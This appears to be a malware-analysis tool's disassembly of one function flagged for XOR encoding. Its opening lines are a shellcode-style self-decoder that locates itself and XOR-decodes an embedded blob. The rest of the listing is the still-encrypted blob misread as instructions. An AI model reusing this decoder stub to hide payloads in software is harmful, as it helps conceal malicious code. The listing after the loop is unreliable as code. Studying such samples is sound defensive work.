Function at 0x84edc8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x84edd2
pushal
call 0x84edd8
pop ebp
sub ebp, 0x10
sub ebp, 0x44edc8
jmp 0x84edee
mov eax, 0x44edc8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5ef
mov edx, 0xc4b18f7a
add eax, 0x7aba0000
invalid
xor byte [eax], dl
inc eax
dec ecx
jne 0x84ee05
jmp 0x84ee18
int1
mov bh, 0xf1
inc esi
inc esi
jp 0x84ee99
jp 0x84ee1c
mov ebx, 0x7a7a7a82
jns 0x84eddf
ret 0x7a7c
mov dl, 0xf1
sti
jbe 0x84eeb4
jp 0x84eeb6
jns 0x84edfd
sub ch, byte [edx]
adc cl, byte [edx]
div byte [edx + edi*2 + 0x12]
das
sbb ecx, dword [edx + edi*2 + 0x7b]
push esi
pop esi
adc bl, byte [ebx]
les edx, [edx - 0x19]
xchg edx, eax
jg 0x84eecf
jp 0x84eed1
xchg ebx, eax
push edx
jp 0x84eed5
jp 0x84ee8c
int1
xchg esi, eax
int1
push dword [edx + 0x7a]
jp 0x84eedf
int1
out dx, eax
jbe 0x84eee3
jp 0x84eee5
int1
imul dword [edx + 0x7a]
jp 0x84eeeb
mov ebx, 0x784b7893
stc
mov eax, 0xff75337e
mov es, word [ebp - 0x47d87a7b]
jbe 0x84eefe
int1
neg byte [esi + 0x7e]
jp 0x84ef04
jp 0x84ee9e
or dh, dh
je 0x84ef0a
adc ch, byte [edi]
sbb ecx, dword [edx + edi*2 + 0x7b]
push esi
pop esi
neg dword [esi]
push ds
pop esi
xchg bl, dh
jbe 0x84eefd
pop esi
xchg edx, eax
jg 0x84ef1c
jp 0x84ef1e
xchg ebx, eax
sub edi, dword [eax + 0x7a]
jp 0x84eed9
das
daa
test dword [edi], ecx
jbe 0x84ee35
invalid
jp 0x84ef30
jp 0x84eea9
invalid
or al, 0xc7
or eax, 0xc758bfb
invalid
int1
xor dword [edx - 5], edx
sti
mov bh, ch
int1
xor dword [edx + 0x49], edx
dec ecx
test al, 0xf9
stc
xchg edx, eax
jg 0x84ef0f
jne 0x84eedd
xor al, 0x7a
jp 0x84ef5d
jne 0x84eed7
xor bh, byte [edx + 0x7a]
jp 0x84ef06
int1
inc bx
cli
adc dword [edx + 0x7a60fe75], 0x81fa7a7a
xchg ebx, eax
invalid
jne 0x84eef9
imul edi, dword [edx + 0x7a], 0x7a
jp 0x84ef79
jp 0x84ef1c
sbb al, 0xfb
sti
add dword [ebp + 0x6ffe755f], 0x3b7a7a7a
jne 0x84ef04
outsd dx, dword [esi]
jp 0x84ef83
jp 0x84ef46
cmp edx, dword [ebx - 0x7a7a7a4a]
push ebx
inc ebx
xchg ebx, eax
mov dh, 0x85
test dword [ebp + 0x7b433653], eax
stc
test dword [ebx + 0x36], edx
inc ebx
jnp 0x84ef0e
mov ebx, 0x7e92f97f
xchg ebx, eax
mov dword [ebp + 0x2e538585], 0xbbf97843
jl 0x84ef20
test dword [ebp + 0x432e5385], eax
test dword [ebp + 0x78432e53], eax
test dword [ebx + 0x2e], edx
inc ebx
inc ebx
js 0x84ef1d
stc
mov ebx, 0x7e90f97c
stc
nop
jle 0x84ef23
xchg edx, eax
jg 0x84eec0
rol dword [ebp + 0x56f18585], 1
test ecx, esi
push esi
pop esi
neg dword [esi]
pop esi
jle 0x84eef1
jbe 0x84efb5
das
int1
xchg esi, eax
sub al, 0x2d
das
int1
pcmpeqd mm6, mm1
pop es
jb 0x84eece
enter 0xfffffffffffff0fa, 0x7c
sti
mov esp, 0x7a7a7a7b
jp 0x84efcc
bnd jge 0x84ef50
mov ebp, 0x7a7a7a7b
sar dword [eax + 0x7a], 0x7a
jp 0x84efd8
jp 0x84efd9
js 0x84ef09
test al, 0x75
jne 0x84ef62
invalid
jg 0x84efdf
jp 0x84efe1
invalid
test al, 0x75
stc
mov byte [0x78858585], al
test al, 0x75
invalid
jp 0x84ef6b
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x75
stc
adc byte [edx + 0x7a], bh
jp 0x84efcf
jp 0x84efff
dec ecx
mov edx, 0xff75a878
jg 0x84f007
jp 0x84f009
invalid
test al, 0x69
mov edx, 0xff75a878
jg 0x84f038
jp 0x84f03a
invalid
jp 0x84f048
jp 0x84efc0
invalid
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x69
push 0x75ba69a8
invalid
mov edx, 0x7a7cfe75
jl 0x84f054
jp 0x84f055
jp 0x84f056
jp 0x84efce
int1
movsd dword es:[edi], dword [esi]
push ecx
mov byte [0x7df279f0], al
cmp eax, 0x7a7a78c1
jns 0x84efd5
jge 0x84f022
sar dword [eax + 0x7a], 0x7a
jp 0x84f063
jp 0x84ef7e
or al, byte [ebp + 0x7bc28585]
jp 0x84f06d
jp 0x84f06d
test al, 0x75
invalid
push 0x78ba69a8
test al, 0x75
invalid
jg 0x84f083
jp 0x84f085
invalid
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x3e46ae7b], eax
jnp 0x84f095
jp 0x84f097
jne 0x84f01e
dec dword [esi + 0x7a]
jp 0x84f09d
dec esi
jp 0x84f09c
jp 0x84efe7
ret
jnp 0x84f0a0
jp 0x84f0a2
js 0x84efd2
jne 0x84f02b
invalid
jg 0x84f0a8
jp 0x84f0aa
invalid
test al, 0x75
invalid
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x720ed37b], eax
push ecx
test dword [ebp + 0x518df12c], eax
lea edx, [ecx - 0x71]
mov esi, ebx
and al, 0x93
jb 0x84efda
invalid
test dword [ebp - 0x6544cd7b], eax
jb 0x84f04c
test dword [ebp + 0x729abb32], eax
invalid
test dword [edx], esi
mov ebx, 0x7cf0729a
cmp al, 0xf1
jl 0x84f09a
int1
xchg edx, eax
ret
jp 0x84f0df
js 0x84f00f
jne 0x84f068
invalid
jg 0x84f0e5
jp 0x84f0e7
invalid
jp 0x84f06d
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp + 0x7a82fb85], eax
pop es
test dword [ebp + 0x77a82fb], eax
jp 0x84f107
sti
mov dword [0x85858585], eax
sti
cmp byte [edx + 0x7f], 0x7a
jp 0x84f095
jp 0x84f116
jp 0x84f113
sti
mov dword [0x85858585], eax
sti
test dword [ebp - 0x57d047b], eax
test dword [ebp + 0x7afa82fb], eax
cmp dl, 0x7a
cli
jp 0x84f11e
jp 0x84f11f
jp 0x84f0a1
sti
stosd dword es:[edi], eax
jp 0x84f123
jp 0x84f124
jp 0x84f125
jp 0x84f0a7
sti
cmp dl, 0x7a
jp 0x84f12b
sti
stosd dword es:[edi], eax
jp 0x84f12f
jp 0x84f131
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0x93
loope 0x84f046
mov cl, byte [ecx - 0x1e6cdb22]
test byte [ebp + 0x3c7cf085], al
dec ecx
test dword [ebp + 0x493c7cf0], eax
mov bl, 0xba
xchg edx, eax
jnp 0x84f142
invalid
int1
xchg edx, eax
sub al, 0xf1
lea edx, [ecx - 0x76]
mov cl, byte [ecx + 0x7bc124de]
jp 0x84f160
mov esi, ebx
and al, 0xc1
jnp 0x84f15f
sar dword [ebx + 0x7a], 0x7a
jp 0x84f161
jp 0x84f07b
xchg ebx, eax
or dword [ebp + eax*4 + 0x7512785], eax
test dword [edi], esp
push ecx
pop es
jb 0x84f0e2
mov ebp, 0x9ff12425
daa
mov eax, 0x24257a72
xchg ebx, eax
jle 0x84f179
jp 0x84f17b
invalid
xchg edi, eax
jp 0x84f184
jns 0x84f0cb
mov edi, 0x7919bafb
jp 0x84f18c
sti
mov edx, 0x7a7a7919
ret
mov byte [0xc07a7a78], al
jp 0x84f0d8
int1
xor dword [ecx], 0x3a6a4a86
cmp dh, byte [ebx]
jne 0x84f121
xor esi, dword [ebp - 1]
dec dword [ebp + eax*4 + 0x7e938585]
mov word [ebp + 0x7e938585], es
test dword [ebp + 0x7a7e9385], eax
jp 0x84f1a5
test dword [ebp + 0x7a7a7e93], eax
test dword [ebx + 0x7a7a7a7e], edx
jp 0x84f1a4
jp 0x84f0eb
mov edi, 0x76a92157
pcmpeqd mm0, qword [esi]
push edi
and dword [ecx + 0x6760f76], ebp
jbe 0x84f140
jbe 0x84f139
jp 0x84f0bb
int 0x76
push es
jp 0x84f187
dec ebp
invalid
invalid
stosb byte es:[edi], al
jp 0x84f0fc
int 0x7a
jne 0x84f10a
vpsllw xmm6, xmm1, xmm1
fisubr dword [ecx]
jp 0x84f0f7
int1
jbe 0x84f15c
jp 0x84f0de
cmc
jbe 0x84f161
jo 0x84f166
int1
int1
int1
int1
invalid
jne 0x84f119
mov bh, 0xf1
int1
int1
int1
daa
daa
jo 0x84f19f
stc
int1
int1
int1
jo 0x84f187
stc
int1
int1
int1
jo 0x84f17d
int1
int1
int1
int1
invalid
and dword [esi], ecx
push cs
push cs
xchg edi, eax
jp 0x84f178
xor byte [ecx], bl
std
jb 0x84f198
invalid
int1
int1
invalid
adc dword [esi], ecx
invalid
invalid
sbb byte ss:[ecx], bh
sbb byte [ecx], bh
push cs
push cs
push cs
sbb ch, dh
int1
int1
int1
xchg ebx, eax
pop ebp
insd dword es:[edi], dx
leave
dec ecx
cmp dword [esi*4 + 0x7034f2f1], ebx
xor ebx, esp
cmc
int1
int1
dec eax
fdiv st(3)
int1
int1
dec ebx
inc ecx
and byte [edx - 0x4e1e3e08], ah
mov eax, 0xe0774fe
push cs
push cs
sbb ch, dh
int1
int1
int1
scasb al, byte es:[edi]
sub byte [ebx + 0x1e], cl
invalid